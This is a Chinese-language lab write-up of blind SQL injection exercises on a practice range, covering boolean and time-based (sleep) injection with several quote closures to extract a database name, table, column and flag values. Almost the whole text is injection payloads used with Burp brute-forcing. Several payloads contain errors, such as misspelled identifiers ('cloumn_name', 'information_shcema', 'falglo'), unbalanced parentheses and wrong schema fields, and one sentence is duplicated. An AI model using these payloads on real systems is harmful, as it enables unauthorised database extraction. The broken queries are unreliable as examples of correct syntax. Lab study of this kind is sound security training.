payload:?id=1 and 1=1 回显正常
payload:?id=1 and 1=2 报错
直接按流程走: 1.查数据库字段长度
?id=1 and length(database())>12 报错
?id=1 and length(database())>11 正常
得出数据库字符长度是12 2.查数据库名字
?id=1 and substr(database(),1,1)='k' 回显正常
接下来剩余11位不可能一个个挨着手动注入测试,这里配合Burp使用:
得到库名:kanwolongxia 3.查数据库下的第一张表的字段长度
?id=1 and length((select table_name from information_schema.tables where
table_schema='kanwolongxia' limit 0,1),1,1)=6 回显正常
得知表的字段数为6,现在继续Burp去挨个爆破: 先构造一个爆破字段的payload:
?id=1 and substr((select table_name from information_schema.tables where
table_schema='kanwolongxia' limit 0,1),1,1)='l' 回显正常
4.根据表名爆破出列名 先构造出payload找出列名的字段长度
id=1? and length((select cloumn_name from information_shcema.columns where
table_name='loflag' limit 0,1))=2 回显正常,字段名为:id
和第二个字段:
table_name='loflag' limit 1,1))=6 回显正常,字段名为:flaglo
5.根据二分法得到flag的长度
?id=1 and length((select flaglo from loflag limit 0,1))=8
再通过修改payload然后Burp抓包爆破得到flag
?id=1 and substr((select falglo from loflag limit 0,1),1,1)='z'
最终得到:zKaQ-QQQ
Sqlmap这个笨蛋,注入半天,愣是在我眼皮子低下把盲注测试过去了。
靶场:你礼貌吗????
我又是Burp抓包喂Request又是--technique B直接让给用布尔盲注方法,也可能是最近网太差了,李师傅决定还是直接手工注入吧。
1.查询数据库字段长度
?id=1 "and length(database())=12 -- qwe
通过Burp联合手工注入查询数据库字符
?id=1 "and substr(database(),1,1)='k' -- qwe
得到数据库名字:kanwolongxia 2.查询表名字段的长度和具体数值
?id=1 "and length((select table_name from information_schema.tables where
table_schema='kanwolongxia' limit 0,1)) -- qwe
得到字符串的长度为6 构造payload,传入Burp爆破6个字符的具体值
?id=1 "and substr((select table_name from information_schema.tables where
table_name='kanwolongxia' limit 0,1),1,1)='l' -- qwe
得到表名:loflag 3.查询列名的字段数和具体数值
?id=1 "and length((select column_name from information_schema.columns where
table_schema='kanwolongxia' limit 1,1))=6 -- qwe
得到列名:flaglo
4.查询flag具体内容
?id=1 "and substr((select flaglo from loflag limit 0,1),1,1)='z' -- qwe
通过Burp定点爆破得到:zKaQ-RD
这道题有登陆的地方,submit以POST的方式传参
1.判断数据库字符串的字段和库名
?id=1 ' or 1=1 -- qwe
登录成功
这里丢进Burp进行定点爆破,先构造payload;
?id=1 ' or 1=1 and substr(database(),1,1)='k' -- qwe
爆破得到库名:kanwolongxia
2.判断表名和表名长度
?id=1 ' or 1=1 and length((select table_name from
information_schema.tables where table_schema='kanwolongxia'
limit 0,1))=6 -- qwe
然后构造payload进行Burp爆破:
得到表名:loflag
3.判断列名长度和字段
?id=1 ' or 1=1 and length((select column_name from
information_schema.columns where table_name='loflag'
limit 1,1))=6 -- qwe
然后构造用于Burp爆破的payload:
?id=1 ' or 1=1 and substr((select column_name from
information_schema.columns where table_name='loflag'
limit 1,1),1,1)='f' -- qwe
4.查找内容的长度和长度
?id=1 ' or 1=1 and length((select flaglo from loflag
limit 2,1))=10 -- qwe
然后通过构造substr的payload使用Burp爆破得到flag:
?id=1 ' or 1=1 and substr((select flaglo from loflag
limit 2,1),1,1)='z' -- qwe
得到flag:zKaQ-Moren
经过简单测试可知,该靶场为双引号闭合,这里直接构造语句。 1.测试数据库字段和字段长度
?id=1 " and if(length(database())=12,sleep(5),1) -- qwe
得到数据库长度,构造payload进行爆破
?id=1 " and if(substr(database(),1,1)='k'),sleep(5),1) -- qwe
得到库名:kanwolongxia 2.测试数据库的表的字段名和字段长度
?id=1 " and if(length(select table_name from information_schema.
tables where table_schema=database() limit 0,1))=6,
sleep(5),1) -- qwe
得到表名字段长度为6,接下来进行构造payload去用Burp挨个爆破字符
?id=1 " and if(substr((select table_name from information_schema.
tables where table_name='kanwolongxia' limit 0,1),1,1)='l',
sleep(5),1) -- qwe
得到库名:loflag 3.测试数据库的字段的字段名和字段长度
?id=1 " and if(length(select column_name from information_
schema.columns where table_name='loflag' limit 1,1),1,1)=6
sleep(5),1) -- qwe
得到字段数后,接下来进行构造payload去用Burp挨个爆破字符
?id=1 " and if(substr((select column_name from information_
schema.columns where table_name='loflag' limit 1,1),1,1)='f',
sleep(1),1) —- qwe
得到字段名:flaglo 4.测试内容的字段和字段数
?id=1 " and if(ascii(substr((select flaglo from loflag limit
3,1),1,1))=122,sleep(5),1) — qwe
最后得到flag:zKaQ-time-hj
这道题有单引号和括号的闭合,这里过滤一下,其余照旧
1.测试数据库
数据库字符长度:
?id=1') and if(length(database())=12,sleep(5),1) -- qwe
数据库字符内容:
?id=1') and if(substr(database(),1,1)='k'),sleep(5),1) -- qwe
2.测试表
测试表的字符长度:
?id=1') and if(length(select table_name from information_schema
.tables where table_schema='kanwolongxia' limit 1,1)=6,
sleep(5),1) -- qwe
测试表的字符串内容:
?id=1') and if(substr((select table_name from information_schema
.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l',
sleep(5),1) -- qwe
3.测试字段
测试字段的长度:
?id=1') and if(length(select column_name from information_schema
.columns where table_name='loflag' limit 1,1)=6,sleep(5),1)
-- qwe
测试字段的内容:
?id=1') and if(substr((select column_name from information_schema
.columns where table_name='loflag' limit 1,1),1,1)='f',sleep(5),1)
-- qwe
4.测试具体内容
?id=1') and if(ascii(substr((select flaglo from loflag limit
3,1),1,1))=1,sleep(5),1) —- qwe
总体来说盲注的体验非常差,由于靶场对Burp和Sqlmap的限制导致了很多情况下难以跑出结果,只能靠自己对sql语句的一再审核有时候我以为我自己写错了于是乎一遍遍的改,但是其实并没有有时候我以为我自己写错了于是乎一遍遍的改,但是其实并没有,这一趟下来,盲注学到什么程度我不清楚,但是我算可以达到盲敲盲注了,布尔盲注就是或者不是,而延时注入就是不困是不是都比个耶。
最近有点忙,可能状态不太好,如果有错误,请及时指出。